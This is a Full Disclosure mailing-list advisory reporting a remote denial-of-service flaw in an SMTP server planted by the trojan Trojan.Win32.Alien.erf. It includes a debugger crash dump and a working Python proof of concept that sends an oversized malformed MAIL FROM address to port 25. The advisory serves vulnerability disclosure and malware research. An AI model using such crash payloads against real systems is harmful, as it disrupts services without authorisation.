Date: Wed, 16 Jun 2021 21:11:18 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Trojan.Win32.Alien.erf / Remote Denial of Service

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/57ab194d8c60ee97914eda22e4d71b68.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Alien.erf
Vulnerability: Remote Denial of Service
Description: The malware deploys a SMTP server JAOSrv821.exe listening on
TCP port 25. Third-party attackers who can reach an infected host can
trigger a denial of service by sending a corrupted MAIL FROM: address
packet.
Type: PE32
MD5: 57ab194d8c60ee97914eda22e4d71b68
Vuln ID: MVID-2021-0251
ASLR: False
DEP: True
Safe SEH: True
Disclosure: 06/16/2021

Memory Dump:
(a88.190): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=ffffffff edx=032f6f60 esi=00000003
edi=00000003
eip=7725ed3c esp=032f65e4 ebp=032f6774 iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7725ed3c c21400          ret     14h

0:005> .ecxr
eax=ffffffff ebx=ffffffff ecx=ffffffff edx=032f6f60 esi=00000001
edi=032f6f60
eip=00eb2bbc esp=032f6f20 ebp=032f70d0 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010202
*** ERROR: Module load completed but symbols could not be loaded for
JAOSrv821.exe
JAOSrv821+0x2bbc:
00eb2bbc 8a06            mov     al,byte ptr [esi]
 ds:002b:00000001=??

0:005> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
JAOSrv821+2bbc
00eb2bbc 8a06            mov     al,byte ptr [esi]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00eb2bbc (JAOSrv821+0x00002bbc)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 00000001
Attempt to read from address 00000001

PROCESS_NAME:  JAOSrv821.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  00000001

READ_ADDRESS:  00000001

FOLLOWUP_IP:
JAOSrv821+2bbc
00eb2bbc 8a06            mov     al,byte ptr [esi]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00000190

BUGCHECK_STR:
 APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS:  NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff

LAST_CONTROL_TRANSFER:  from 00eb193b to 00eb2bbc

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
032f70d0 00eb193b 7500e250 00eb1384 00eb12a0 JAOSrv821+0x2bbc
0330f8f4 745b8654 00000234 745b8630 015f4608 JAOSrv821+0x193b
0330f908 77254a77 00000234 2c193258 00000000
kernel32!BaseThreadInitThunk+0x24
0330f950 77254a47 ffffffff 77279edf 00000000 ntdll!__RtlUserThreadStart+0x2f
0330f960 00000000 00eb12a0 00000234 00000000 ntdll!_RtlUserThreadStart+0x1b

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  JAOSrv821+2bbc

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: JAOSrv821

IMAGE_NAME:  JAOSrv821.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  59fb4459

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt
ntdll!LdrpFailureData ; ~5s; .ecxr ; kb

FAILURE_BUCKET_ID:
 NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff_c0000005_JAOSrv821.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff_JAOSrv821+2bbc


Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=25

def chk_res(s):
    res=""
    while True:
        res += s.recv(512)
        if "\0" in res or "\n" in res or res == "" or "OK" in res:
            break
    return res

def doit():

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD = "EHLO\r\n"
    s.send(PAYLOAD)

    print(chk_res(s))

    time.sleep(1)
    PAYLOAD = "MAIL FROM:" + "A"*128+"@"+"A"*256+".hate"

    s.send(PAYLOAD)

    print("Trojan.Win32.Alien.erf / Remote DoS")
    print("MD5: 57ab194d8c60ee97914eda22e4d71b68")
    print("By Malvuln")

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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